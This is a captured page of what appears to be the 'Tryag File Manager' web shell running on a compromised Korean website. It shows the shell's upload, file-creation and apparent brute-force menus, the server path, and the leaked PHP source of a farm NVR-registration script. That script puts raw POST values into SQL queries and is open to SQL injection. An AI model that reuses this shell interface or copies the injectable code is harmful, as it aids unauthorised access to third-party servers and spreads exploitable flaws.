Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
egg.eemo.co.kr
/
public_html
/
super5
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/egg.eemo.co.kr/public_html/super5/myfarm_nvr_mody_do.php
<? session_cache_limiter('no-cache, must-revalidate'); session_start(); header("Pragma: no-cache"); header("Cache-Control: no-cache,must-revalidate"); header("Content-Type: text/html; charset=utf-8"); include_once("dbconn.php"); include_once("lib.php"); foreach($_GET as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } foreach($_POST as $key => $value) { if($key == 'nvr_ip' || $key == 'nvr_model' || $key == 'nvr_chan_su') { } else { ${$key}=$value; } } $arr_tmp=array(); foreach ($_REQUEST['nvr_sn'] as $key => $value) { if(trim($value)) { $vv=trim($value); $vv_sn2=strtolower(str_replace(":","",$vv)); $vv_sn3=strtoupper(substr($vv_sn2,0,2).":".substr($vv_sn2,2,2).":".substr($vv_sn2,4,2).":".substr($vv_sn2,6,2).":".substr($vv_sn2,8,2).":".substr($vv_sn2,10,2)); $nvr_ip=$_REQUEST['nvr_ip'][$key]; $nvr_model=$_REQUEST['nvr_model'][$key]; //$nvr_chan_su=$_REQUEST['nvr_chan_su'][$key]; $nvr_ddns=$vv_sn2.".dynlink.net"; $rs_is=RS("select * from farm_nvr where farm_no != '$no' and nvr_sn='$vv_sn3' "); $rs_nvr_model=RS("select * from nvr_model where model='$nvr_model' "); $nvr_chan_su=$rs_nvr_model[ch_no]; if($rs_is[no]) { $rs_isfarm=RS("select * from farm where no='{$rs_is[farm_no]}' "); echo "<script>alert('".$vv." NVR 시리얼번호가 ".$rs_isfarm[farm_name]." 에서 이미 사용중입니다.');history.back();</script>"; exit; } else { $rs_is2=RS("select * from farm_nvr where farm_no='$no' and nvr_sn='$vv_sn3' "); if(!$rs_is2[no]) { mysql_query("insert into farm_nvr set farm_no='$no' , nvr_ip='$nvr_ip', nvr_ddns='$nvr_ddns', nvr_model='$nvr_model', nvr_chan_su='$nvr_chan_su', nvr_sn='$vv_sn3', regdate=now() ") or die(); } else { //echo "update farm_nvr set nvr_ip='$nvr_ip', nvr_ddns='$nvr_ddns', nvr_model='$nvr_model', nvr_chan_su='$nvr_chan_su', nvr_sn='$vv_sn3' where farm_no='$no' and nvr_sn='$vv_sn3' <br>"; mysql_query("update farm_nvr set nvr_ip='$nvr_ip', nvr_ddns='$nvr_ddns', nvr_model='$nvr_model', nvr_chan_su='$nvr_chan_su', nvr_sn='$vv_sn3' where farm_no='$no' and nvr_sn='$vv_sn3' ") or die(); } } } } $rs_farm=RS("select * from farm where no='$no' "); echo "<meta http-equiv='refresh' content='0;url=myfarm_nvr_mody.php?no=$no'>"; ?>